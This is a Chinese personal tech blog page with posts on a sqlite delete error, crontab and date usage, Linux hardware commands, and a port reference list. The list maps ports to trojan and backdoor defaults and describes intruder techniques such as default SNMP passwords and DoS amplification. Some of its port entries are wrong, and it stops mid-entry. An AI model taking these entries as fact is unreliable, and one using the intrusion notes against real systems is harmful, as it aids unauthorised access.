不可轻言放弃,否则对不起自己!

发布新日志

  • sqlite python执行delete报错

    2013-12-06 15:54:49

    #coding=gbk 
    from sqlite3 import dbapi2
     
    # 打开数据库 c:\mytest.db 
    conn=dbapi2.connect("c:\\mytest.db")
    # 创建数据表 mytb 
    sql1 = "CREATE TABLE IF NOT EXISTS mytb1 ( a char , b int , c real )"
    sql2 = "CREATE TABLE IF NOT EXISTS mytb2 ( a char , b int , c real )"
    sql3 = "CREATE TABLE IF NOT EXISTS mytb3 ( a char , b int , c real )"
    conn.execute( sql1 )  
    conn.execute( sql2 ) 
    conn.execute( sql3 )  
    cs = conn.cursor( )  
    cs.execute("SELECT name FROM sqlite_master WHERE type='table'")
    records = cs.fetchall()
    for i in range(len(records)):
        print 'i:',i
        print 'records:',records[i][0]
       
        #cs.execute("DELETE FROM  %s  " % records[i][0])
        cs.execute('delete from ?' ,records[i][0])
        conn.commit()
     
    cs.close()
    conn.close() 
     
     
    ===============================
    sqlite3.OperationalError: near "?": syntax error
     
     
     
     
  • 软件测试全景图

    2013-09-25 10:04:58

  • crontab详解

    2013-06-18 01:28:05

    1. 在命令行中输入 crontab -e   
    2.   
    3. 就可以配置 cron 了。   
    4.   
    5. cron 配置计划任务的书写格式   
    6.   
    7. * * * * * [用户名] 命令   
    8.   
    9. 分钟 小时 日 月 周 [用户名] 命令   
    10.   
    11. 说明:   
    12.   
    13. 第一段应该定义的是:分钟,表示每个小时的第几分钟来执行。范围是从0-59第二段应该定义的是:小时,表示从第几个小时来执行,范围是从0-23第三段应该定义的是:日期,表示从每个月的第几天执行,范围从1-31第四段应该定义的是:月,表示每年的第几个月来执行,范围从1-12第五段应该定义的是:周,表示每周的第几天执行,范围从0-6,其中 0表示星期日。每六段应该定义的是:用户名,也就是执行程序要通过哪个用户来执行,这个一般可以省略;第七段应该定义的是:执行的命令和参数。注:其中用户名可是省略,用户名定义的是程序用哪个用户来执行,比如mysql服务器,我们可以定义成以mysql用户来启动、停止、重新 启动,这时要写上用户名;不过对于cron来说意义不是太大,因为每个用户都有自己的cron配置文件。有些程序的启动必须用到root用户,这时我们就 可以修改root用户的cron配置文件就行了。在每个用户的配置文件中,不必指定用户名。   
    14.   
    15. 我们可以把计划任务写在全局性配置文件中,如果您想把一个计划放入全局性配置文件中,就得改发行版所对应的cron全局配置文件,比如Fedora 5的全局性配置文件是/etc/crontab文件;   
    16.   
    17. 每个用户也能定义自己的cron配置文件,用crontab -e 命令来定义;   
    18.   
    19. 举一例:让机器在每天830分重新启动;   
    20.   
    21. 关于时间格式中有7个字段。我们可以直接更改或者添加,当然这是系统任务调用。举个例子,比如我在每天的早上830分重新启动机器,就可以在   
    22. /etc/crontab中加入下面的两句,第一句就是注释了。以#号开始,后面写一个自己能知道这是什么任务的备注;   
    23.   
    24. # reboot OS   
    25. 30 8 * * * root /sbin/reboot   
    26. 第一段应该定义的是:分钟,表示每个小时的第几分钟来执行。范围是从0-59  
    27. 第二段应该定义的是:小时,表示从第几个小时来执行,范围是从0-23  
    28. 第三段应该定义的是:日期,表示从每个月的第几天执行,范围从1-31  
    29. 第四段应该定义的是:月,表示每年的第几个月来执行,范围从1-12  
    30. 第五段应该定义的是:周,表示每周的第几天执行,范围从0-6,其中 0表示星期日。   
    31. 每六段应该定义的是:用户名,也就是执行程序要通过哪个用户来执行,这个一般可以省略;   
    32. 第七段应该定义的是:执行的命令和参数。   
    33.   
    34. 对比上面的例子就知道,30是不是分钟??8是不是小时?如果有*代表的地方,表示全部,也就是说,每个月,每天,每星期都要执行。root 表示用root用户执行,命令是/sbin/reboot ,也就是说,系统在每天 830分重新启动;   
    35.   
    36. 我们可以把每天830分重新启动的计划任务写入cron全局性配置文件中,也可以定义在root用户自己的cron配置文件中。如果定义在 root自己的配置文件,请用root身份来执行 crontab -e 来修改配置文件;crontab -e 进入修改配置文件的过程,其实和vi的用法一样,请参看vi 的用法:《文件编辑器 vi》   
    37.   
    38. 这里有c r o n t a b文件条目的一些例子:   
    39. 30 21 * * * /apps/bin/cleanup.sh   
    40. 上面的例子表示每晚的21:3 0运行/a p p s/b i n目录下的cleanup.sh。   
    41. 45 4 1,10,22 * * /apps/bin/backup.sh   
    42. 上面的例子表示每月11 02 2日的4 : 4 5运行/ a p p s / b i n目录下的b a c k u p . s h。   
    43. 10 1 * * 6,0 /bin/find -name "core" -exec rm {} \;   
    44. 上面的例子表示每周六、周日的1 : 1 0运行一个f i n d命令。   
    45. 0,30 18-23 * * * /apps/bin/dbcheck.sh   
    46. 上面的例子表示在每天1 8 : 0 02 3 : 0 0之间每隔3 0分钟运行/ a p p s / b i n目录下的d b c h e c k . s h。   
    47. 0 23 * * 6 /apps/bin/qtrend.sh   
    48. 上面的例子表示每星期六的11 : 0 0 p m运行/ a p p s / b i n目录下的q t r e n d . s h。   
    49.   
    50.   
    51. 让配置文件生效:如果让配置文件生效,还得重新启动cron,切记,既然每个用户下的cron配置文件修改后。也要重新启动cron服务器。   
    52.   
    53. 重启cron服务是:/etc/init.d# ./cron restart  
  • data命令详解

    2013-06-18 01:16:54

    date命令使用
    2007年09月28日 04:30 来源:ChinaUnix博客 作者:xinyv 编辑:周荣茂

        #显示时区

        [cnscn@root /home/cnscn/backup]# date +%Z

        CST

        #显示世纪

        [cnscn@root /home/cnscn/backup]# date +%C

        20

        ========================设置===============================

        #设置时间为: 2005年02月22日 09:10:46

        [cnscn@root /home/cnscn/backup]# date 022209102005.46 #月 日 时 分 年 . 秒

        二 2月 22 09:10:46 CST 2005

        #[cnscn@root /home/cnscn/backup]# date -s "+3 hours" #将时间增加3小时

        二 2月 22 09:46:14 CST 2005

        #[cnscn@root /home/cnscn/backup]# date -s "-40 minutes" #将时间减少40分钟

        二 2月 22 09:06:35 CST 2005

        #[cnscn@root /home/cnscn/backup]# date -s "+1 year" #时间增加1年

        三 2月 22 09:14:55 CST 2006

        #[cnscn@root /home/cnscn/backup]# date -s "-1 year" #时间减少一年

        二 2月 22 09:15:02 CST 2005

        ======================按日期显示============================

        [cnscn@root /home/cnscn/backup]# date -d "+1 year"

        三 2月 22 09:57:46 CST 2006

        [cnscn@root /home/cnscn/backup]# date -d "-1 month"

        六 1月 22 09:49:08 CST 2005

        [cnscn@root /home/cnscn/backup]# date -d "-1 month" +%s

        1106358557

        #[cnscn@root /home/cnscn/backup]# date -d "7 days ago" #显示7天前的时间

        二 2月 15 09:16:09 CST 2005

        #[cnscn@root /home/cnscn/backup]# date -d "7 days ago" +%s #显示7天前时间的秒值

        1108430178

        #[cnscn@root /home/cnscn/backup]# date -d "7 days" #显示7天后时间的秒值

        二 3月 1 09:17:11 CST 2005

        #[cnscn@root /home/cnscn/backup]# date -d "7 days" +%s #显示7天后时间的秒值

        1109639824

        =======================================================

        #显示当前系统时间和日期

        $date

        #完整的日期时间显示

        [cnscn@root /home/cnscn/backup]# date +%c

        2005年02月22日 星期二 09时32分19秒

        #以格林威治标准时间显示目前时间和日期

        [cnscn@root /home/cnscn/backup]# date -u

        二 2月 22 01:38:20 UTC 2005

        #以当地习惯显示日期

        [cnscn@root /home/cnscn/backup]# date +%x

        2005年02月22日

        #以mm/dd/yy格式显示系统日期

        [cnscn@root /home/cnscn/backup]# date +%D

        02/22/05

        =========================================================

        #英文全称月份

        [cnscn@root /home/cnscn/backup]# date +%B

        二月

        #英文缩写月份

        [cnscn@root /home/cnscn/backup]# date +%b

        2月

        ============================================================

        #今年第几天

        [cnscn@root /home/cnscn/backup]# date +%j

        053

        ============================================================

        #时:分:秒

        [cnscn@root /home/cnscn/backup]# date +%T09:24:07

        #加上AM与PM

        [cnscn@root /home/cnscn/backup]# date +%T%p

        09:24:07上午

        [cnscn@root /home/cnscn/backup]# date +%r

        09:34:44 上午

        =========================================================

        #周几

        [cnscn@root /home/cnscn/backup]# date +%w

        2

        #本地格式周几全称

        [cnscn@root /home/cnscn/backup]# date +%A

        星期二

        #本地格式周几缩写

        [cnscn@root /home/cnscn/backup]# date +%a

        二

        #今年第几周

        [cnscn@root /home/cnscn/backup]# date +%U

        08

        1)把时间转成秒

         $date -d "20061206 07:08" +%s

         1165360080

        2)把秒转换成时间

         $ date

         2006年 07月 06日 星期四 11:57:18 CST

         $ date -d "now" +%s

         1152158238

         $ date -d "19700101 1152158238 seconds UTC"

         2006年 07月 06日 星期四 11:57:18 CST

  • 计算机常用端口全集

    2013-06-18 01:15:30

    计算机常用端口全集 

    1 传输控制协议端口服务多路开关选择器   
    2 compressnet 管理实用程序   
    3 压缩进程   
    5 远程作业登录   
    7 回显(Echo)   
    9 丢弃   
    11 在线用户   
    13 时间   
    15 netstat   
    17 每日引用   
    18 消息发送协议   
    19 字符发生器   
    20 文件传输协议(默认数据口)   
    21 文件传输协议(控制)   
    22 SSH远程登录协议   
    23 telnet 终端仿真协议   
    24 预留给个人用邮件系统   
    25 smtp 简单邮件发送协议   
    27 NSW 用户系统现场工程师   
    29 MSG ICP   
    31 MSG验证   
    33 显示支持协议   
    35 预留给个人打印机服务   
    37 时间   
    38 路由访问协议   
    39 资源定位协议   
    41 图形   
    42 WINS 主机名服务   
    43 "绰号" who is服务   
    44 MPM(消息处理模块)标志协议   
    45 消息处理模块   
    46 消息处理模块(默认发送口)   
    47 NI FTP   
    48 数码音频后台服务   
    49 TACACS登录主机协议   
    50 远程邮件检查协议   
    51 IMP(接口信息处理机)逻辑地址维护   
    52 施乐网络服务系统时间协议   
    53 域名服务器   
    54 施乐网络服务系统票据交换   
    55 ISI图形语言   
    56 施乐网络服务系统验证   
    57 预留个人用终端访问   
    58 施乐网络服务系统邮件   
    59 预留个人文件服务   
    60 未定义   
    61 NI邮件?   
    62 异步通讯适配器服务   
    63 WHOIS+   
    64 通讯接口   
    65 TACACS数据库服务   
    66 Oracle SQL*NET   
    67 引导程序协议服务端   
    68 引导程序协议客户端   
    69 小型文件传输协议   
    70 信息检索协议   
    71 远程作业服务   
    72 远程作业服务   
    73 远程作业服务   
    74 远程作业服务   
    75 预留给个人拨出服务   
    76 分布式外部对象存储   
    77 预留给个人远程作业输入服务   
    78 修正TCP   
    79 Finger(查询远程主机在线用户等信息)   
    80 全球信息网超文本传输协议(www)   
    81 HOST2名称服务   
    82 传输实用程序   
    83 模块化智能终端ML设备   
    84 公用追踪设备   
    85 模块化智能终端ML设备   
    86 Micro Focus Cobol编程语言   
    87 预留给个人终端连接   
    88 Kerberros安全认证系统   
    89 SU/MIT终端仿真网关   
    90 DNSIX 安全属性标记图   
    91 MIT Dover假脱机   
    92 网络打印协议   
    93 设备控制协议   
    94 Tivoli对象调度   
    95 SUPDUP   
    96 DIXIE协议规范   
    97 快速远程虚拟文件协议   
    98 TAC(东京大学自动计算机)新闻协议   
    101 usually from sri-nic   
    102 iso-tsap   
    103 ISO Mail   
    104 x400-snd   
    105 csnet-ns   
    109 Post Office   
    110 Pop3 服务器(邮箱发送服务器)   
    111 portmap 或 sunrpc   
    113 身份查询   
    115 sftp   
    117 path 或 uucp-path   
    119 新闻服务器   
    121 BO jammerkillah   
    123 network time protocol (exp)   
    135 DCE endpoint resolutionnetbios-ns   
    137 NetBios-NS   
    138 NetBios-DGN   
    139 win98 共享资源端口(NetBios-SSN)   
    143 IMAP电子邮件   
    144 NeWS - news   
    153 sgmp - sgmp   
    158 PCMAIL   
    161 snmp - snmp   
    162 snmp-trap -snmp   
    170 network PostScript.   
    175 vmnet   
    194 Irc   
    315 load   
    400 vmnet0   
    443 安全服务   
    456 Hackers Paradise   
    500 sytek   
    512 exec   
    513 login   
    514 shell - cmd   
    515 printer - spooler   
    517 talk   
    518 ntalk   
    520 efs   
    526 tempo - newdate   
    530 courier - rpc   
    531 conference - chat   
    532 netnews - readnews   
    533 netwall   
    540 uucp - uucpd  543 klogin   
    544 kshell   
    550 new-rwho - new-who   
    555 Stealth Spy(Phase)   
    556 remotefs - rfs_server   
    600 garcon   
    666 Attack FTP   
    750 kerberos - kdc   
    751 kerberos_master   
    754 krb_prop   
    888 erlogin   
    1001 Silencer 或 WebEx   
    1010 Doly trojan v1.35   
    1011 Doly Trojan   
    1024 NetSpy.698 (YAI)   
    1025 NetSpy.698   
    1033 Netspy   
    1042 Bla1.1   
    1047 GateCrasher   
    1080 Wingate   
    1109 kpop   
    1243 SubSeven   
    1245 Vodoo   
    1269 Mavericks Matrix   
    1433 Microsoft SQL Server 数据库服务  
    1492 FTP99CMP (BackOriffice.FTP)  
    1509 Streaming Server  
    1524 ingreslock  
    1600 Shiv  
    1807 SpySender  
    1981 ShockRave  
    1999 Backdoor  
    2000 黑洞(木马) 默认端口  
    2001 黑洞(木马) 默认端口  
    2023 Pass Ripper  
    2053 knetd  
    2140 DeepThroat.10 或 Invasor  
    2283 Rat  
    2565 Striker  
    2583 Wincrash2  
    2801 Phineas  
    3129 MastersParadise.92  
    3150 Deep Throat 1.0  
    3210 SchoolBus  
    3389 Win2000 远程登陆端口  
    4000 OICQ Client  
    4567 FileNail  
    4950 IcqTrojan  
    5000 WindowsXP 默认启动的 UPNP 服务  
    5190 ICQ Query  
    5321 Firehotcker  
    5400 BackConstruction1.2 或 BladeRunner  
    5550 Xtcp  
    5555 rmt - rmtd  
    5556 mtb - mtbd  
    5569 RoboHack  
    5714 Wincrash3  
    5742 Wincrash  
    6400 The Thing  
    6669 Vampire  
    6670 Deep Throat  
    6711 SubSeven  
    6713 SubSeven  
    6767 NT Remote Control  
    6771 Deep Throat 3  
    6776 SubSeven  
    6883 DeltaSource  
    6939 Indoctrination  
    6969 Gatecrasher.a  
    7306 网络精灵(木马)  
    7307 ProcSpy  
    7308 X Spy  
    7626 冰河(木马) 默认端口  
    7789 ICQKiller  
    8000 OICQ Server  
    9400 InCommand  
    9401 InCommand  
    9402 InCommand  
    9535 man  
    9536 w  
    9537 mantst  
    9872 Portal of Doom  
    9875 Portal of Doom  
    9989 InIkiller  
    10000 bnews  
    10001 queue  
    10002 poker  
    10167 Portal Of Doom  
    10607 Coma  
    11000 Senna Spy Trojans  
    11223 ProgenicTrojan  
    12076 Gjamer 或 MSH.104b  
    12223 Hack?9 KeyLogger  
    12345 netbus木马 默认端口  
    12346 netbus木马 默认端口  
    12631 WhackJob.NB1.7  
    16969 Priotrity  
    17300 Kuang2  
    20000 Millenium II (GrilFriend)  
    20001 Millenium II (GrilFriend)  
    20034 NetBus Pro  
    20331 Bla  
    21554 GirlFriend 或 Schwindler 1.82  
    22222 Prosiak  
    23456 Evil FTP 或 UglyFtp 或 WhackJob  
    27374 SubSeven  
    29891 The Unexplained  
    30029 AOLTrojan  
    30100 NetSphere  
    30303 Socket23  
    30999 Kuang  
    31337 BackOriffice  
    31339 NetSpy  
    31666 BO Whackmole  
    31787 Hack a tack  
    33333 Prosiak  
    33911 Trojan Spirit 2001 a  
    34324 TN 或 Tiny Telnet Server  
    40412 TheSpy  
    40421 MastersParadise.96  
    40423 Master Paradise.97  
    47878 BirdSpy2  
    50766 Fore 或 Schwindler  
    53001 Remote Shutdown  
    54320 Back Orifice 2000  
    54321 SchoolBus 1.6  
    61466 Telecommando  
    65000 Devil  
    8000 灰鸽子木马默认端口  
    5022 华夏同盟远程控制默认端口  
    4899 远程登录端口 

         

    计算机常用端口全集 

       我们常常会在各类的技术文章中见到诸如135、137、139、443之类的“端口”,可是这些端口究竟有什么用呢?它会不会给我们的计算机带来潜在的威胁呢?究竟有多少端口是有用的?

    端口:0  
    服务:Reserved  
    说明:通常用于分析操作系统。这一方法能够工作是因为在一些系统中“0”是无效端口,当你试图使用通常的闭合端口连接它时将产生不同的结果。一种典型的扫描,使用IP地址为0.0.0.0,设置ACK位并在以太网层广播。  



    端口:1  
    服务:tcpmux  
    说明:这显示有人在寻找SGI Irix机器。Irix是实现tcpmux的主要提供者,默认情况下tcpmux在这种系统中被打开。Irix机器在发布是含有几个默认的无密码的帐户,如:IP、GUEST UUCP、NUUCP、DEMOS 、TUTOR、DIAG、OUTOFBOX等。许多管理员在安装后忘记删除这些帐户。因此HACKER在INTERNET上搜索tcpmux并利用这些帐户。 
    端口:7  
    服务:Echo  
    说明:能看到许多人搜索Fraggle放大器时,发送到X.X.X.0和X.X.X.255的信息。  

    端口:19  
    服务:Character Generator  
    说明:这是一种仅仅发送字符的服务。UDP版本将会在收到UDP包后回应含有垃圾字符的包。TCP连接时会发送含有垃圾字符的数据流直到连接关闭。HACKER利用IP欺骗可以发动DoS攻击。伪造两个chargen服务器之间的UDP包。同样Fraggle DoS攻击向目标地址的这个端口广播一个带有伪造受害者IP的数据包,受害者为了回应这些数据而过载。  

    端口:21  
    服务:FTP  
    说明:FTP服务器所开放的端口,用于上传、下载。最常见的攻击者用于寻找打开anonymous的FTP服务器的方法。这些服务器带有可读写的目录。木马Doly Trojan、Fore、Invisible FTP、WebEx、WinCrash和Blade Runner所开放的端口。  

    端口:22  
    服务:Ssh  
    说明:PcAnywhere建立的TCP和这一端口的连接可能是为了寻找ssh。这一服务有许多弱点,如果配置成特定的模式,许多使用RSAREF库的版本就会有不少的漏洞存在。  

    端口:23  
    服务:Telnet  
    说明:远程登录,入侵者在搜索远程登录UNIX的服务。大多数情况下扫描这一端口是为了找到机器运行的操作系统。还有使用其他技术,入侵者也会找到密码。木马Tiny Telnet Server就开放这个端口。  

    端口:25  
    服务:SMTP  
    说明:SMTP服务器所开放的端口,用于发送邮件。入侵者寻找SMTP服务器是为了传递他们的SPAM。入侵者的帐户被关闭,他们需要连接到高带宽的E-MAIL服务器上,将简单的信息传递到不同的地址。木马Antigen、Email Password Sender、Haebu Coceda、Shtrilitz Stealth、WinPC、WinSpy都开放这个端口。  

    端口:31  
    服务:MSG Authentication  
    说明:木马Master Paradise、Hackers Paradise开放此端口。  

    端口:42  
    服务:WINS Replication  
    说明:WINS复制  

    端口:53  
    服务:域名 Name Server(域)  
    说明:域服务器所开放的端口,入侵者可能是试图进行区域传递(TCP),欺骗域(UDP)或隐藏其他的通信。因此防火墙常常过滤或记录此端口。  

    端口:67  
    服务:Bootstrap Protocol Server  
    说明:通过DSL和Cable modem的防火墙常会看见大量发送到广播地址255.255.255.255的数据。这些机器在向DHCP服务器请求一个地址。HACKER常进入它们,分配一个地址把自己作为局部路由器而发起大量中间人(man-in-middle)攻击。客户端向68端口广播请求配置,服务器向67端口广播回应请求。这种回应使用广播是因为客户端还不知道可以发送的IP地址。  

    端口:69  
    服务:Trival File Transfer  
    说明:许多服务器与bootp一起提供这项服务,便于从系统下载启动代码。但是它们常常由于错误配置而使入侵者能从系统中窃取任何 文件。它们也可用于系统写入文件。  

    端口:79  
    服务:Finger Server  
    说明:入侵者用于获得用户信息,查询操作系统,探测已知的缓冲区溢出错误,回应从自己机器到其他机器Finger扫描。 

     

    端口:80  
    服务:HTTP  
    说明:用于网页浏览。木马Executor开放此端口。  

    端口:99  
    服务:Metagram Relay  
    说明:后门程序ncx99开放此端口。  

    端口:102  
    服务:Message transfer agent(MTA)-X.400 over TCP/IP  
    说明:消息传输代理。  

    端口:109  
    服务:Post Office Protocol -Version3  
    说明:POP3服务器开放此端口,用于接收邮件,客户端访问服务器端的邮件服务。POP3服务有许多公认的弱点。关于用户名和密码交 换缓冲区溢出的弱点至少有20个,这意味着入侵者可以在真正登陆前进入系统。成功登陆后还有其他缓冲区溢出错误。  

    端口:110  
    服务:SUN公司的RPC服务所有端口  
    说明:常见RPC服务有rpc.mountd、NFS、rpc.statd、rpc.csmd、rpc.ttybd、amd等  

    端口:113  
    服务:Authentication Service  
    说明:这是一个许多计算机上运行的协议,用于鉴别TCP连接的用户。使用标准的这种服务可以获得许多计算机的信息。但是它可作为许多服务的记录器,尤其是FTP、POP、IMAP、SMTP和IRC等服务。通常如果有许多客户通过防火墙访问这些服务,将会看到许多这个端口的连接请求。记住,如果阻断这个端口客户端会感觉到在防火墙另一边与E-MAIL服务器的缓慢连接。许多防火墙支持TCP连接的阻断过程中发回RST。这将会停止缓慢的连接。  

    端口:119  
    服务:Network News Transfer Protocol  
    说明:NEWS新闻组传输协议,承载USENET通信。这个端口的连接通常是人们在寻找USENET服务器。多数ISP限制,只有他们的客户才能访问他们的新闻组服务器。打开新闻组服务器将允许发/读任何人的帖子,访问被限制的新闻组服务器,匿名发帖或发送SPAM。  

    端口:135  
    服务:本地 Service  
    说明:Microsoft在这个端口运行DCE RPC end-point mapper为它的DCOM服务。这与UNIX 111端口的功能很相似。使用DCOM和RPC的服务利用计算机上的end-point mapper注册它们的位置。远端客户连接到计算机时,它们查找end-point mapper找到服务的位置。HACKER扫描计算机的这个端口是为了找到这个计算机上运行Exchange Server吗?什么版本?还有些DOS攻击直接针对这个端口。  

    端口:137、138、139  
    服务:NETBIOS Name Service  
    说明:其中137、138是UDP端口,当通过网上邻居传输文件时用这个端口。而139端口:通过这个端口进入的连接试图获得NetBIOS/SMB服务。这个协议被用于windows文件和打印机共享和SAMBA。还有WINS Regisrtation也用它。  

    端口:143  
    服务:Interim Mail Access Protocol v2  
    说明:和POP3的安全问题一样,许多IMAP服务器存在有缓冲区溢出漏洞。记住:一种LINUX蠕虫(admv0rm)会通过这个端口繁殖,因此许多这个端口的扫描来自不知情的已经被感染的用户。当REDHAT在他们的LINUX发布版本中默认允许IMAP后,这些漏洞变的很流行。这一端口还被用于IMAP2,但并不流行。  

    端口:161  
    服务:SNMP  
    说明:SNMP允许远程管理设备。所有配置和运行信息的储存在数据库中,通过SNMP可获得这些信息。许多管理员的错误配置将被暴露在Internet。Cackers将试图使用默认的密码public、private访问系统。他们可能会试验所有可能的组合。SNMP包可能会被错误的指向用户的网络。  

    端口:177  
    服务:X Display Manager Control Protocol  
    说明:许多入侵者通过它访问X-windows操作台,它同时需要打开6000端口。  
    端口:389  
    服务:LDAP、ILS  
    说明:轻型目录访问协议和NetMeeting Internet Locator Server共用这一端口。  
    端口:443  
    服务:Https  
    说明:网页浏览端口,能提供加密和通过安全端口传输的另一种HTTP。  

    端口:456  
    服务:【NULL】  
    说明:木马HACKERS PARADISE开放此端口。  

    端口:513  
    服务:Login,remote login  
    说明:是从使用cable modem或DSL登陆到子网中的UNIX计算机发出的广播。这些人为入侵者进入他们的系统提供了信息。  

    端口:544  
    服务:【NULL】  
    说明:kerberos kshell  

    端口:548  
    服务:Macintosh,File Services(AFP/IP)  
    说明:Macintosh,文件服务。  

    端口:553  
    服务:CORBA IIOP (UDP)  
    说明:使用cable modem、DSL或VLAN将会看到这个端口的广播。CORBA是一种面向对象的RPC系统。入侵者可以利用这些信息进入系统。  

    端口:555  
    服务:DSF  
    说明:木马PhAse1.0、Stealth Spy、IniKiller开放此端口。  

    端口:568 
  • 查看linux信息

    2013-06-18 01:11:28

    Linux
    内存: cat /proc/meminfo
    cpu: cat /proc/cpuinfo
    硬盘: df -h -T(no device的设备看不到)
    fdisk -l可以在redhat9.0中看; redhat企业版不行.
    还有几个命令可以看很多硬件设备的信息.
    lspci -v
    dmidecode 
    dmesg

    Solaris
    网卡速度: dmesg |grep link 
    CPU频率: psrinfo -v 或者mpstat
    cpu\内存等:prtdiag -v (大部分信息全部列出) 需要先进入/usr/platform/sun4u/sbin
    硬盘: iostat -E
     
    linux 下查看网卡工作速率
    root@localhost ~]# mii-tool
    eth0: negotiated 100baseTx-FD, link ok 100M
    linux 下查看网卡工作速率
    Ethtool是用于查询及设置网卡参数的命令。
    概要:
    ethtool ethX //查询ethX网口基本设置
    ethtool –h //显示ethtool的命令帮助(help)
    ethtool –i ethX //查询ethX网口的相关信息
    ethtool –d ethX //查询ethX网口注册性信息
    ethtool –r ethX //重置ethX网口到自适应模式
    ethtool –S ethX //查询ethX网口收发包统计
    ethtool –s ethX [speed 10|100|1000]\ //设置网口速率10/100/1000M
    [duplex half|full]\ //设置网口半/全双工
    [autoneg on|off]\ //设置网口是否自协商
     
    我在网上看到有人写了这样的脚本来查看主机网卡流量
    #!/bin/bash
    #network
    #Mike.Xu
    while : ; do
    time=`date +%m"-"%d" "%k":"%M`
    day=`date +%m"-"%d`
    rx_before=`ifconfig eth0|sed -n "8"p|awk '{print $2}'|cut -c7-`
    tx_before=`ifconfig eth0|sed -n "8"p|awk '{print $6}'|cut -c7-`
    sleep 2
    rx_after=`ifconfig eth0|sed -n "8"p|awk '{print $2}'|cut -c7-`
    tx_after=`ifconfig eth0|sed -n "8"p|awk '{print $6}'|cut -c7-`
    echo "$time Now_In_Speed: "$rx_result"kbps Now_OUt_Speed: "$tx_result"kbps"
    sleep 2
    done
    这个脚本是对的吗,而且为什么rx_result=$[(rx_after-rx_before)/256] , tx_result=$[(tx_after-tx_before)/256]是除以256???这个没看懂,求高手解决,谢谢啦
    脚本是计算两秒钟的 接收 发送出的网卡流量。
    除以 256 是因为你计算的 kbps 。网卡是 64字节一个包. . 
     
    Linux下查看网卡实时流量方法 
    1,使用slurm的监测方法:
    虽然GNOME的系统监视器可以查看到网络状态,但是像slurm这样的命令行工具,占用资源少,查看方便,用起来到是别有一番风味。今天把它介绍给大家。slurm 最初是给FreeBSD的做端口状态监视器,现在我简要的将一些功能做一下概述:
    ? 显示实时流量吐吞状态 
    ? 视图显示可选择 
    ? 可以监视任何网络接口 
    ? 显示关于接口的详细信息
    安装slurm到Ubuntu
    sudo aptitude install slurm
    这样安装就完成了
    Slurm 语法
    slurm [-hHz] [-csl] [-d delay] -i interface
    如果你想监视第一块网卡(eth0),使用下面的命令:
    slurm -i eth0
    终端里的输出类似下面这样。
    2,systat命令监测网络流量
    目前我只在RH AS4及FreeBSD 上有此命令,Ubuntu没有,估计要另行安装.
    使用方法为:
    systat -if 3
    查看网卡流量,其中3表示3秒刷新一次流量
    linux下如何查看网卡的类型
    法一:kudzu --probe --class=network 
    法二:lspci
    网卡是百兆还是千兆
    ifconfig -m 
    用ifconfig命令查看RX bytes和TX bytes这两项参数
     
    这是mii-tool的结果
    eth0: negotiated 100baseTx-FD flow-control, link ok
    eth1: negotiated 100baseTx-FD flow-control, link ok

    这是lspci的信息
    12:02.0 Ethernet controller: Broadcom Corporation NetXtreme BCM5704 Gigabit Ethernet (rev 10)
    12:02.1 Ethernet controller: Broadcom Corporation NetXtreme BCM5704 Gigabit Ethernet (rev 10)
    BCM5704 Gigabit Ethernet
    千兆,千兆网卡接在百兆网上
    mii-tool 只能显示最高 100Mbps,即使当时是千兆的,也显示不出来



    测试机器的硬件信息:

    查看CPU信息(型号)
    # cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c
    8 Intel(R) Xeon(R) CPU E5410 @ 2.33GHz
    (看到有8个逻辑CPU, 也知道了CPU型号)

    # cat /proc/cpuinfo | grep physical | uniq -c
    4 physical id : 0
    4 physical id : 1
    (说明实际上是两颗4核的CPU)

    # getconf LONG_BIT
    32
    (说明当前CPU运行在32bit模式下, 但不代表CPU不支持64bit)

    # cat /proc/cpuinfo | grep flags | grep ' lm ' | wc -l
    8
    (结果大于0, 说明支持64bit计算. lm指long mode, 支持lm则是64bit)


    再完整看cpu详细信息, 不过大部分我们都不关心而已.
    # dmidecode | grep 'Processor Information'

    查看内 存信息
    # cat /proc/meminfo

    # uname -a
    Linux euis1 2.6.9-55.ELsmp #1 SMP Fri Apr 20 17:03:35 EDT 2007 i686 i686 i386 GNU/Linux
    (查看当前操作系统内核信息)

    # cat /etc/issue | grep Linux
    Red Hat Enterprise Linux AS release 4 (Nahant Update 5)
    (查看当前操作系统发行版信息)

    查看机器型号
    # dmidecode | grep "Product Name" 

    查看网卡信息
    # dmesg | grep -i eth
     
     
    linux查看硬件信息的命令


    在LINUX环境开发驱动程序,首先要探测到新硬件,接下来就是开发驱动程序。

    常用命令整理如下:

    用硬件检测程序kuduz探测新硬件:service kudzu start ( or restart)

    查看CPU信息:cat /proc/cpuinfo

    查看板卡信息:cat /proc/pci

    查看PCI信息:lspci (相比cat /proc/pci更直观) 
    例子: lspci |grep Ethernet 查看网卡型号

    查看内存信息:cat /proc/meminfo

    查看USB设备:cat /proc/bus/usb/devices

    查看键盘和鼠标:cat /proc/bus/input/devices

    查看系统硬盘信息和使用情况:fdisk & disk - l & df

    查看各设备的中断请求(IRQ):cat /proc/interrupts

    查看系统体系结构:uname -a


    dmidecode查看硬件信息,包括bios、cpu、内存等信息

    dmesg | more 查看硬件信息


    对于“/proc”中文件可使用文件查看命令浏览其内容,文件中包含系统特定信息:
    Cpuinfo 主机CPU信息
    Dma 主机DMA通道信息
    Filesystems 文件系统信息
    Interrupts 主机中断信息
    Ioprots 主机I/O端口号信息
    Meninfo 主机内存信息
    Version Linux内存版本信息 
     
    Linux获取CPU的详细信息
    2010年07月26日 星期一 17:42
    如何获得CPU的详细信息: 
    linux命令:cat /proc/cpuinfo
    用命令判断几个物理CPU,几个核等:
    逻辑CPU个数:
    # cat /proc/cpuinfo | grep "processor" | wc -l
    物理CPU个数:
    # cat /proc/cpuinfo | grep "physical id" | sort | uniq | wc -l
    每个物理CPU中Core的个数:
    # cat /proc/cpuinfo | grep "cpu cores" | wc -l
    是否为超线程?
    如果有两个逻辑CPU具有相同的”core id”,那么超线程是打开的。
    每个物理CPU中逻辑CPU(可能是core, threads或both)的个数:
    # cat /proc/cpuinfo | grep “siblings”

    其他特征:
    目前intel新的多核心cpu都会在后面显示具体的型号数字,例如:
    model name : Intel(R) Xeon(R) CPU X3230 @ 2.66GHz
    说明是 Xeon 3230的cpu,而不显示型号的具体数字的,大部分都是奔腾的CPU
    很多主机商都骗人,用奔腾的cpu,却说是多核心的CPU。
    探针看到的数据:
    类型:Intel(R) Xeon(TM) CPU 2.80GHz 缓存:1024 KB
    类型:Intel(R) Xeon(TM) CPU 2.80GHz 缓存:1024 KB
    类型:Intel(R) Xeon(TM) CPU 2.80GHz 缓存:1024 KB
    类型:Intel(R) Xeon(TM) CPU 2.80GHz 缓存:1024 KB
